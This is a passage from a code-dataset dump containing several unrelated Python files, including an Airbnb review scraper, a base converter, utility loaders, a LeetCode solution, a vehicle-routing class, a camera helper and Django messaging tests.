main()\n","sub_path":"Lesson2/objective_5.py","file_name":"objective_5.py","file_ext":"py","file_size_in_byte":10405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"637904179","text":"def fourth2bin(number):\n diadsMap = {\n 0: '00',\n 1: '01',\n 2: '10',\n 3: '11'\n }\n\n result = ''\n\n while number:\n temp = diadsMap[number % 10]\n result = temp + result\n number = number // 10\n\n return str(int(result))\n\n\nprint(fourth2bin(12231133))\n","sub_path":"Lesson-3/ex-10.py","file_name":"ex-10.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"290192871","text":"# 加载第一页全部内容,之后通过url请求其余评论信息\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nimport re\nfrom bs4 import BeautifulSoup\nfrom random import randint\nfrom time import sleep\nimport requests\nimport chardet\nimport json\n\n\n# 配置驱动\nchrome_opt = Options() # 创建参数设置对象.\nchrome_opt.add_argument('--headless') # 无界面化.\n# chrome_opt.add_argument('--disable-gpu') # 配合上面的无界面化.\nprefs = {\"profile.managed_default_content_settings.images\": 2}\nchrome_opt.add_experimental_option(\"prefs\", prefs) #不加载图片\nchrome_opt.add_argument('--window-size=1366,768') # 设置窗口大小, 窗口大小会有影响.\n# chrome_opt.add_argument(\"--no-sandbox\") #使用沙盒模式运行\n\n# 创建Chrome对象并传入设置信息.\ndriver = webdriver.Chrome(executable_path='/home/cfl/chromedriver/chromedriver', chrome_options=chrome_opt)\n\n\n# doc = open(r'../data/test.html', 'w')\n# 爬取\nurl = 'https://www.airbnb.com/rooms/18363560'\n\ndriver.get(url)\nsleep(randint(1, 5))\n\nhtml = driver.page_source\n# print(html, file=doc)\n\nhtml = BeautifulSoup(html, 'lxml')\n\n# 房屋图片src\nroom_picture_div_generator = html.findAll('meta', attrs={'itemprop': 'image'})[0].next_siblings\nfor i in room_picture_div_generator:\n room_picture_div = i\nroom_picture_src_img = room_picture_div.findAll('img')\nroom_picture_src = []\nfor i in room_picture_src_img:\n room_picture_src.append(str(i.get('src')).split('?', 1)[0])\nprint('房屋图片src:%s' % room_picture_src)\n\n# 房间id\nroom_id = re.findall(r'rooms/(.+?)\\??', url)[0]\nprint('房间id:%s' % room_id)\n\n# 房主id\nroom_div = html.findAll('div', attrs={'id': 'summary'})[0]\nroom_a = room_div.findAll('a', attrs={'href': re.compile(r'/users/show')})[0]\nroom_owner_id = re.findall(r'/users/show/(\\d+)', str(room_a))[0]\nprint('房主id:%s' % room_owner_id)\n\n# 房主头像src\nroom_owner_img = room_a.findAll('img')[0]\nroom_owner_src = str(room_owner_img.get('src')).split('?', 1)[0]\nprint('房主头像src:%s' % room_owner_src)\n\n# 评论者信息\nreviewers_div = html.findAll('div', attrs={'id': 'reviews'})[0]\nreviewers_a = reviewers_div.findAll('a', attrs={'href': re.compile(r'/users/show')})\nreviews_id = []\n# 评论id\nreviews_id = re.findall(r'data-review-id=\"(.+?)\"', str(reviewers_div))\n# print('评论id:%s' % reviews_id)\n\nreviewers_id = []\nreviewers_src = []\nfor i in reviewers_a:\n if re.findall(r'/users/show/(\\d+)', str(i))[0] == room_owner_id:\n continue\n # 评论者id\n reviewers_id.append(re.findall(r'/users/show/(\\d+)', str(i))[0])\n\n # 评论者src\n reviewers_img = i.findAll('img')[0]\n reviewers_src.append(str(reviewers_img.get('src')).split('?', 1)[0])\n# print('评论者id:%s' % reviewers_id)\n# print('评论者src:%s' % reviewers_src)\n\n# 导航条\nnavigation = html.findAll('nav', attrs={'role': 'navigation'})[0]\nli = navigation.findAll('li')[len(navigation.findAll('li'))-2]\n\n# 总页数\npage = re.findall(r'>(\\d+)<', str(li))[0]\nfor i in range(1, int(page)):\n reurl = 'https://www.airbnb.com/api/v2/homes_pdp_reviews?currency=CNY' \\\n '&key=d306zoyjsyarp7ifhu67rjxn52tv0t20' \\\n '&locale=en&' \\\n 'listing_id=%s' \\\n '&_format=for_p3' \\\n '&limit=7' \\\n '&offset=%s' \\\n '&order=language_country' % (str(room_id), str(i*7))\n response = requests.get(reurl)\n response.encoding = chardet.detect(response.content)['encoding']\n html = json.loads(response.text)\n\n # 评论信息\n reviews = html['reviews']\n for i in reviews:\n # 评论id\n reviews_id.append(i['id'])\n\n # 评论者id\n reviewers_id.append(i['reviewer']['id'])\n # 评论者src\n reviewers_src.append(i['reviewer']['picture_url'])\nprint(len(reviews_id))\nprint('评论id:%s' % reviews_id)\n\nprint(len(reviewers_id))\nprint('评论者id:%s' % reviewers_id)\n\nprint(len(reviewers_src))\nprint('评论者src:%s' % reviewers_src)\n\n# doc.close()\ndriver.close()\n","sub_path":"python/airbnb/10-31.py","file_name":"10-31.py","file_ext":"py","file_size_in_byte":4027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"184339370","text":"import json\nimport yaml\nimport os.path\nfrom ate.exception import ParamsError\n\ndef load_yaml_file(yaml_file):\n with open(yaml_file, 'r+') as stream:\n return yaml.load(stream)\n\ndef load_json_file(json_file):\n with open(json_file) as data_file:\n return json.load(data_file)\n\ndef load_testcases(testcase_file_path):\n file_suffix = os.path.splitext(testcase_file_path)[1]\n if file_suffix == '.json':\n return load_json_file(testcase_file_path)\n elif file_suffix in ['.yaml', '.yml']:\n return load_yaml_file(testcase_file_path)\n else:\n # '' or other suffix\n raise ParamsError(\"Bad testcase file name!\")\n\ndef parse_response_object(resp_obj):\n try:\n resp_content = resp_obj.json()\n except ValueError:\n resp_content = resp_obj.text\n\n return {\n 'status_code': resp_obj.status_code,\n 'headers': resp_obj.headers,\n 'content': resp_content\n }\n","sub_path":"ate/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"475635493","text":"# 581. 最短无序连续子数组\n\nclass Solution:\n \"\"\"\n 从左到右找最大值以及比当前最大值小的位置\n 从右到左找最小值以及比当前最小值大的位置\n 中间段则为需要排序的数组\n \"\"\"\n def findUnsortedSubarray(self, nums: list[int]) -> int:\n max_num, right = float(\"-inf\"), -1\n min_num, left = float(\"inf\"), -1\n n = len(nums)\n for i in range(n):\n if max_num <= nums[i]:\n max_num = nums[i]\n else:\n right = i\n if min_num >= nums[n-i-1]:\n min_num = nums[n-i-1]\n else:\n left = n-i-1\n if right == left == -1:\n return 0\n return right-left+1\n\n \"\"\"\n 单调栈\n \"\"\"\n def findUnsortedSubarray1(self, nums: list[int]) -> int:\n stack = []\n min_idx = float(\"inf\")\n max_idx = float(\"-inf\")\n max_num = float(\"-inf\")\n for i in range(len(nums)):\n while stack and nums[stack[-1]] > nums[i]:\n idx = stack.pop()\n max_num = max(max_num, nums[idx])\n min_idx = min(min_idx, idx)\n max_idx = max(max_idx, idx)\n if max_num > nums[i]:\n max_idx = i\n else:\n stack.append(i)\n if min_idx == float(\"inf\"):\n return 0\n return max_idx - min_idx + 1\n\n\nif __name__ == '__main__':\n print(Solution().findUnsortedSubarray([2, 3, 3, 2, 4]))\n print(Solution().findUnsortedSubarray([1, 2, 3, 4]))\n print(Solution().findUnsortedSubarray([1]))\n","sub_path":"answers/findUnsortedSubarray.py","file_name":"findUnsortedSubarray.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"343636368","text":"import zlib\nimport struct\nimport sys\n\n\ndef rzip(data, level=9):\n compressed = zlib.compress(data, level=level)\n compressed = compressed[2:] # drop header\n compressed = compressed[:-4] # drop crc32\n compressed = struct.pack('>I', len(data)) + compressed # prepend uncompressed size\n return compressed\n\ndef main():\n with open(sys.argv[1], \"rb\") as f:\n with open(sys.argv[2], \"wb\") as o:\n if len(sys.argv) == 4:\n level = int(sys.argv[3])\n else:\n level = 9\n o.write(rzip(f.read(), level=level))\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 3:\n print(\"usage %s infile outfile\" % sys.argv[0])\n else:\n main()\n","sub_path":"tools/rarezip.py","file_name":"rarezip.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"161715214","text":"from collections import namedtuple\nimport numpy as np\nclass Vehicles():\n \"\"\"\n A Class to create and hold vehicle information.\n\n The Vehicles in a CVRPTW problem service the customers and belong to a\n depot. The class Vehicles creates a list of named tuples describing the\n Vehicles. The main characteristics are the vehicle capacity, fixed cost,\n and cost per km. The fixed cost of using a certain type of vehicles can be\n higher or lower than others. If a vehicle is used, i.e. this vehicle serves\n at least one node, then this cost is added to the objective function.\n\n Note:\n If numpy arrays are given for capacity and cost, then they must be of\n the same length, and the number of vehicles are infered from them.\n If scalars are given, the fleet is homogenious, and the number of\n vehicles is determied by number.\n\n Args:\n capacity (scalar or numpy array): The integer capacity of demand units.\n\n cost (scalar or numpy array): The fixed cost of the vehicle.\n\n number (Optional [int]): The number of vehicles in a homogenious fleet.\n \"\"\"\n def __init__(self, capacity=100, cost=100, number=None):\n\n Vehicle = namedtuple(\"Vehicle\", ['index', 'capacity', 'cost'])\n\n if number is None:\n self.number = np.size(capacity)\n else:\n self.number = number\n idxs = np.array(range(0, self.number))\n\n if np.isscalar(capacity):\n capacities = capacity * np.ones_like(idxs)\n elif np.size(capacity) != np.size(capacity):\n print('capacity is neither scalar, nor the same size as num!')\n else:\n capacities = capacity\n\n if np.isscalar(cost):\n costs = cost * np.ones_like(idxs)\n elif np.size(cost) != self.number:\n print(np.size(cost))\n print('cost is neither scalar, nor the same size as num!')\n else:\n costs = cost\n\n self.vehicles = [Vehicle(idx, capacity, cost) for idx, capacity, cost\n in zip(idxs, capacities, costs)]\n\n def get_total_capacity(self):\n return(sum([c.capacity for c in self.vehicles]))\n\n def return_starting_callback(self, customers, sameStartFinish=True):\n # create a different starting and finishing depot for each vehicle\n depots = customers.depots # array of depot indices\n num_depots = len(depots)\n if sameStartFinish:\n self.starts = [depots[o % num_depots]\n for o in\n range(self.number)]\n self.ends = self.starts\n else:\n start_depots = round(num_depots/2)\n end_depots = num_depots - start_depots\n self.starts = [depots[o % start_depots]\n for o in\n range(self.number)]\n self.ends = [depots[start_depots + (o % end_depots)]\n for o in\n range(self.number)]\n # print(self.starts)\n # print(self.ends)\n\n # the depots will not have demands, so zero them. they should\n # already be zero. this is vestigal but catches bugs while\n # I'm transitioning code\n for depot in self.starts:\n customers.zero_depot_demands(depot)\n for depot in self.ends:\n customers.zero_depot_demands(depot)\n def start_return(v): return(self.starts[v])\n return start_return\n","sub_path":"vehicles.py","file_name":"vehicles.py","file_ext":"py","file_size_in_byte":3490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"32876128","text":"import cv2, atexit\nfrom datetime import datetime\n\ncamera_port = 3\n\ncap = cv2.VideoCapture(camera_port)\n# cap.set(cv2.CAP_PROP_FRAME_WIDTH, 320)\n# cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 240)\nframe = []\nret = []\nfirstFrame = None\nisRunning = None\ndef camRun():\n try:\n if isRunning == False: btnStop()\n ret, frame = cap.read()\n # cv2.putText(frame, \"Front\", (10, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2)\n # cv2.putText(frame, datetime.now().strftime(\"%A %d %B %Y %I:%M:%S%p\"), (10, frame.shape[0] - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 1)\n if ret or frame.any(): return autoAdjustments_with_convertScaleAbs(frame)\n except: return None\n\ndef autoAdjustments_with_convertScaleAbs(img):\n alow = img.min()\n ahigh = img.max()\n amax = 255\n amin = 0\n alpha = ((amax - amin) / (ahigh - alow))\n beta = amin - alow * alpha\n new_img = cv2.convertScaleAbs(img, alpha=alpha, beta=beta)\n return new_img\n\ndef exit_handler(): btnStop()\n\ndef btnStop(): cap.release(); cv2.destroyAllWindows()\n\ndef start_cam(): isRunning = True; atexit.register(exit_handler)\n","sub_path":"camera4.py","file_name":"camera4.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"626141571","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport datetime\nimport uuid\nimport django\nfrom django.test import TestCase, Client\n\nfrom bridge.models import EmailAsUsernameUser as User\nfrom django.shortcuts import Http404\nfrom django.db.models import Q\nimport bridge\nfrom bridge.models import Profile, Message, Translation, ModelFactory\n\nimport pytz\n\nimport simplejson\nfrom dateutil import parser\n\nimport logging\n\nimport bridge.fixtures\n\n\nclass TestAuthentication(TestCase):\n\n def setUp(self):\n r = User.objects.create_user(email='RickSanchez@gmail.com', password=' ', first_name='Rick',\n last_name='Sanchez')\n self.profile_rick = Profile(user=r, role='student', country='US', preferred_locale='he')\n self.profile_rick.save()\n m = User.objects.create_user(email='MortySanchez@gmail.com', password=' ', first_name='Morty',\n last_name='Sanchez')\n self.profile_morty = Profile(user=m, role='student', country='AF', preferred_locale='es')\n self.profile_morty.save()\n super(TestAuthentication, self).setUp()\n self.client = Client()\n\n def tearDown(self):\n super(TestAuthentication, self).tearDown()\n\n def test_login(self):\n parameters = {'email': 'RickSanchez@gmail.com', 'password': ' '}\n response = self.client.post('/login/', parameters, follow=True)\n self.assertEqual(response.status_code, 200)\n\n def test_login_incorrect(self):\n # TODO Print proper error\n parameters = {'email': 'RickSanchez@gmail.com', 'password': 'wrong_password'}\n response = self.client.post('/login/', parameters, follow=True)\n self.assertEqual(response.status_code, 200)\n self.assertTrue('Invalid email/password.' in str(response.content))\n\nclass TestBridge(TestCase):\n\n def setUp(self):\n super(TestBridge, self).setUp()\n logging.disable(logging.INFO)\n self.client = Client()\n\n self.profiles = bridge.fixtures.create_profiles()\n self.profile_morty = self.profiles[0]\n self.profile_rick = self.profiles[1]\n self.profile_summer = self.profiles[2]\n (self.messages, self.translations) = bridge.fixtures.create_messages_and_translations(profiles=self.profiles)\n\n # self.client.login(username='TestUser', password='TestPassword')\n\n parameters = { 'email': 'RickSanchez@gmail.com', 'password': ' ' }\n response = self.client.post('/login/', parameters, follow=True)\n self.assertEqual(response.status_code, 200)\n\n\n def tearDown(self):\n super(TestBridge, self).tearDown()\n\n # def test_profile(self):\n # response = self.client.get('/profile/', {'email': 'RickSanchez@gmail.com'}, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n # self.assertEqual(response.status_code, 200)\n #\n # # TODO Figure out why the json doesn't behave like test_profiles\n # jd = simplejson.loads(response.content)\n #\n # self.assertEqual(type(jd), dict)\n # self.assertTrue('error' not in jd.keys())\n # self.assertTrue('type' in jd.keys())\n # self.assertTrue('country' in jd.keys())\n # self.assertTrue('user' in jd.keys())\n # self.assertTrue('first_name' in jd.keys())\n # self.assertTrue('last_name' in jd.keys())\n # self.assertTrue('email' in jd.keys())\n\n\n def validate_profile(self, profile):\n \"\"\"\n :param profile: Python dictionary of profile.\n :returns True: iff. no exception thrown.\n :raises: ExceptionError?\n \"\"\"\n self.assertTrue('error' not in profile.keys())\n self.assertEqual(profile['type'], 'Profile')\n self.assertTrue(len(profile['country']) > 0)\n self.assertTrue(len(profile['first_name']) > 0)\n self.assertTrue(len(profile['last_name']) > 0)\n self.assertTrue(len(profile['email']) > 0)\n User.objects.get(pk=profile['user'])\n return True\n\n def validate_message(self, message, message_text=None):\n \"\"\"\n :param message: Python dictionary of message.\n :param message_text: If not None, compare text to string 53message text.\n :returns True: iff. no exception thrown.\n :raises: ExceptionError?\n \"\"\"\n self.assertTrue('error' not in message.keys())\n self.assertEqual(message['type'], 'Message')\n Message.objects.get(uuid=uuid.UUID(message['uuid']))\n Profile.objects.get(uuid=uuid.UUID(message['sender_uuid']))\n Profile.objects.get(uuid=uuid.UUID(message['receiver_uuid']))\n if message_text is None:\n self.assertTrue(len(message['text']) > 0)\n else:\n self.assertEqual(message['text'], message_text)\n p_date = parser.parse(message['date_time'].replace('Z', ''))\n return True\n\n def validate_translation(self, translation, translation_text=None, languages=['en', 'es', 'he', 'ar']):\n \"\"\"\n :param translation: Python dictionary of translation.\n :param translation_text: If not None, compare text to string translation text.\n :returns True: iff. no exception thrown.\n :raises: ExceptionError?\n \"\"\"\n self.assertTrue('error' not in translation.keys())\n self.assertEqual(translation['type'], 'Translation')\n if translation_text is None:\n self.assertTrue(len(translation['text']) > 0)\n else:\n self.assertEqual(translation['text'], translation_text)\n self.assertTrue(translation['language_code'] in languages)\n p_date = parser.parse(translation['date_time'])\n Translation.objects.get(uuid=uuid.UUID(translation['uuid']))\n\n def test_profiles(self):\n response = self.client.get('/profiles/', HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n # TODO Figure out why the json has to be converted to a string first\n jd = simplejson.loads(response.content)\n self.assertEqual(len(jd), 3)\n self.assertTrue('error' not in jd[0].keys())\n for profile in jd:\n self.validate_profile(profile)\n\n def test_profiles_filtered_uuid(self):\n parameters = { 'uuid': self.profile_rick.uuid }\n response = self.client.get('/profiles/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n # TODO Figure out why the json has to be converted to a string first\n jd = simplejson.loads(response.content)\n self.assertEqual(len(jd), 1)\n self.validate_profile(jd[0])\n\n def test_message_post(self):\n # Test creating a message, then retrieving it\n sender = self.profile_rick\n receiver = self.profile_morty\n message_text = 'a\\xac\\u0f84\\u33af\\u1234\\u20ac\\U00008000\\u0394\\u0bf2'\n # TODO Check unicode crazy characters\n md = {\n 'type': 'Message',\n 'sender_uuid': str(sender.uuid),\n 'receiver_uuid': str(receiver.uuid),\n 'language_code': 'ja',\n 'text': message_text\n }\n number_before = len(Message.objects.all())\n response = self.client.post('/messages/', md, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n\n self.assertEqual(response.status_code, 200)\n number_after = len(Message.objects.all())\n self.assertEqual(number_before + 1, number_after)\n\n rjd = simplejson.loads(response.content)\n self.assertTrue(len(rjd), 1)\n self.validate_message(rjd[0])\n\n result_response = self.client.get('/messages/', {'uuid': str(rjd[0]['uuid'])}, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(result_response.status_code, 200)\n jd = simplejson.loads(response.content)\n self.assertEqual(len(jd), 1)\n self.validate_message(jd[0], message_text=message_text)\n\n def test_messages_uuid_sent(self):\n # Test retrieving message by UUID.\n message = Message.objects.filter(sender=self.profile_rick)[0]\n parameters = { 'uuid': message.uuid }\n response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n json_response = simplejson.loads(response.content)\n self.assertEqual(len(json_response), 1)\n msg = json_response[0]\n self.validate_message(msg)\n\n # def test_messages_uuid_sent_peek(self):\n # # Test retrieving message by UUID.\n # message = Message.objects.filter(sender=self.profile_morty)[0]\n # parameters = { 'uuid': message.uuid }\n # response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n # self.assertEqual(response.status_code, 200)\n # json_response = simplejson.loads(response.content)\n # self.assertEqual(len(json_response), 0)\n # msg = json_response[0]\n # self.validate_message(msg)\n\n def test_messages_uuid_received(self):\n # Test retrieving message by UUID.\n message = Message.objects.filter(receiver=self.profile_rick)[0]\n parameters = { 'uuid': message.uuid }\n response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n json_response = simplejson.loads(response.content)\n self.assertEqual(len(json_response), 1)\n msg = json_response[0]\n self.validate_message(msg)\n\n # def test_messages_uuid_received_peek(self):\n # # Test retrieving message by UUID.\n # message = Message.objects.filter(receiver=self.profile_morty)[0]\n # parameters = { 'uuid': message.uuid }\n # response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n # self.assertEqual(response.status_code, 200)\n # json_response = simplejson.loads(response.content)\n # self.assertEqual(len(json_response), 0)\n # msg = json_response[0]\n # self.validate_message(msg)\n\n def test_messages_page_count(self):\n # Test retrieving message by UUID.\n original_per_page = bridge.ajax_views.PER_PAGE\n bridge.ajax_views.PER_PAGE = 2\n\n # This is necessary because PER PAGE will be too large\n try:\n parameters = { 'sender': self.profile_rick.uuid, 'receiver': self.profile_morty.uuid, 'bidirectional': True }\n response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n json_response = simplejson.loads(response.content)\n self.assertEqual(len(json_response), 2)\n for msg in json_response:\n self.validate_message(msg)\n finally:\n bridge.ajax_views.PER_PAGE = original_per_page\n\n\n # def test_messages_sender_peek(self):\n # # Test retrieving message by UUID.\n # parameters = { 'sender': self.profile_summer }\n # response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n # self.assertEqual(response.status_code, 404)\n\n def test_messages_receiver_bidirectional(self):\n # Test retrieving message by Message Sender. Morty and Rick exchange 3 messages.\n parameters = { 'sender': self.profile_rick.uuid, 'receiver': self.profile_morty.uuid, 'bidirectional': True }\n response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n sender_messages = simplejson.loads(response.content)\n # If this is greater than 3, then Rick has access to Morty/Summer's conversation\n self.assertEqual(len(sender_messages), 7)\n for msg in sender_messages:\n self.validate_message(msg)\n self.assertTrue(msg['language_code'] == 'en' or msg['language_code'] == 'he')\n\n def test_messages_receiver(self):\n # Test retrieving message by Message Sender. Morty only receives 1 message from Rick.\n parameters = { 'sender': self.profile_morty.uuid, 'receiver': self.profile_rick.uuid, 'bidirectional': False }\n response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n messages = simplejson.loads(response.content)\n self.assertEqual(len(messages), 4)\n for msg in messages:\n self.validate_message(msg)\n self.assertEqual(msg['language_code'], 'he')\n\n def test_messages_date_to(self):\n # Test retrieving messages with now as date_to (should be all)\n parameters = { 'date_to': datetime.datetime.utcnow().isoformat() + \"Z+0000\",\n 'sender': self.profile_rick.uuid,\n 'receiver': self.profile_morty.uuid,\n 'bidirectional': True }\n response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n sender_messages = simplejson.loads(response.content)\n self.assertEqual(len(sender_messages), 7)\n for msg in sender_messages:\n self.validate_message(msg)\n\n def test_messages_date_from(self):\n # Test retrieving messages with now as date_from (should be empty)\n parameters = { 'date_from': datetime.datetime.utcnow().isoformat() + \"Z+0000\",\n 'sender': self.profile_rick.uuid, 'receiver': self.profile_morty.uuid, 'bidirectional': True }\n response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n sender_messages = simplejson.loads(response.content)\n self.assertEqual(len(sender_messages), 0)\n for msg in sender_messages:\n self.validate_message(msg)\n\n def test_messages_date_to_2(self):\n # Test retrieving the two oldest messages\n second_oldest = Message.objects.filter(Q(sender=self.profile_morty) | Q(sender=self.profile_rick)).order_by('date_time')[2]\n date_to_2 = second_oldest.date_time.strftime(\"%Y-%m-%dT%H:%M:%S.%f\") + 'Z UTC' # This is how JS will send it\n parameters = { 'date_to': date_to_2, 'sender': self.profile_rick.uuid, 'receiver': self.profile_morty.uuid, 'bidirectional': True }\n response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n sender_messages = simplejson.loads(response.content)\n self.assertEqual(len(sender_messages), 2)\n for msg in sender_messages:\n self.validate_message(msg)\n\n def test_messages_date_from_2(self):\n # Test retrieving the two newest messages\n second_oldest = Message.objects.filter(Q(sender=self.profile_morty) | Q(sender=self.profile_rick)).order_by('date_time')[2]\n date_from_2 = second_oldest.date_time.strftime(\"%Y-%m-%dT%H:%M:%S.%f\") + 'Z UTC' # This is how JS will send it\n parameters = { 'date_from': date_from_2, 'sender': self.profile_rick.uuid, 'receiver': self.profile_morty.uuid, 'bidirectional': True }\n response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n sender_messages = simplejson.loads(response.content)\n self.assertEqual(len(sender_messages), 5)\n for msg in sender_messages:\n self.validate_message(msg)\n\n def test_message_invalid_parameters_just_sender_bidirectional(self):\n message = Message.objects.all()[0]\n parameters = { 'sender': self.profile_rick, 'bidirectional': True }\n response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 404)\n\n def test_message_invalid_parameters_just_receiver_bidirectional(self):\n message = Message.objects.all()[0]\n parameters = { 'receiver': self.profile_rick, 'bidirectional': True }\n response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 404)\n\n def test_message_invalid_parameters(self):\n message = Message.objects.all()[0]\n parameters = { 'fake': '' }\n response = self.client.get('/messages/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 404)\n\n def test_translations_message_and_locale(self):\n message = Message.objects.filter(sender=self.profile_rick)[0]\n parameters = {'source_message': message.uuid, 'language_code': 'he'}\n response = self.client.get('/translation/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n jd = simplejson.loads(response.content)\n self.validate_translation(jd)\n\n # def test_translations_message_and_locale_illegal_peek(self):\n # message = Message.objects.filter(sender=self.profile_summer)[0]\n # parameters = { 'source_message': message.uuid, 'language_code': 'he' }\n # response = self.client.post('/translation/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n # self.assertEqual(response.status_code, 404)\n\n def test_translations_uuid(self):\n translation = Translation.objects.all()[0]\n parameters = { 'uuid': translation.uuid }\n response = self.client.get('/translation/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n jd = simplejson.loads(response.content)\n self.validate_translation(jd, languages=['en', 'es', 'he', 'ar'])\n\n # def test_translations_uuid_illegal_peek(self):\n # summer_message = Message.objects.filter(sender=self.profile_summer)\n # translation = Translation.objects.filter(source_message=summer_message)[0]\n # parameters = { 'uuid': translation.uuid }\n # response = self.client.post('/translation/', parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n # self.assertEqual(response.status_code, 404)\n\n def test_json_factory_message_no_serialize(self):\n # TODO Check unicode crazy characters\n md = {\n 'type': 'Message',\n 'language_code': self.profile_rick.get_language_code(),\n 'sender_uuid': str(self.profile_rick.uuid),\n 'receiver_uuid': str(self.profile_morty.uuid),\n 'text': 'This is a sample message created using JSON.'\n }\n number_before = len(Message.objects.all())\n res = ModelFactory.parse(simplejson.dumps(md), serialize=False)\n number_after = len(Message.objects.all())\n self.assertEqual(number_before, number_after)\n\n def test_json_factory_message_serialize(self):\n # TODO Check unicode crazy characters\n md = {\n 'type': 'Message',\n 'language_code': self.profile_rick.get_language_code(),\n 'sender_uuid': str(self.profile_rick.uuid),\n 'receiver_uuid': str(self.profile_morty.uuid),\n 'text': 'This is a sample message created using JSON.'\n }\n number_before = len(Message.objects.all())\n res = ModelFactory.parse(simplejson.dumps(md), serialize=True)\n number_after = len(Message.objects.all())\n self.assertEqual(number_before + 1, number_after)\n self.validate_message(res.to_serializable_dict(), message_text=md['text'])\n retrieved = Message.objects.get(uuid=str(res.uuid))\n self.validate_message(retrieved.to_serializable_dict(), message_text=md['text'])\n\n def test_json_factory_message_invalid_sender(self):\n # TODO Check unicode crazy characters\n md = {\n 'type': 'Message',\n 'language_code': self.profile_rick.get_language_code(),\n 'sender_uuid': '00000000-0000-0000-0000-000000000000',\n 'receiver_uuid': str(self.profile_morty.uuid),\n 'text': 'This is a sample message created using JSON.'\n }\n try:\n res = ModelFactory.parse(simplejson.dumps(md))\n except Http404:\n return\n self.fail()\n\n def test_json_factory_message_invalid_receiver(self):\n # TODO Check unicode crazy characters\n md = {\n 'type': 'Message',\n 'language_code': self.profile_rick.get_language_code(),\n 'sender_uuid': str(self.profile_rick.uuid),\n 'receiver_uuid': '00000000-0000-0000-0000-000000000000',\n 'text': 'This is a sample message created using JSON.'\n }\n try:\n res = ModelFactory.parse(simplejson.dumps(md))\n except Http404:\n return\n self.fail()\n\n # def test_facebook_login(self):\n # # Payload response for test user:\n # payload = 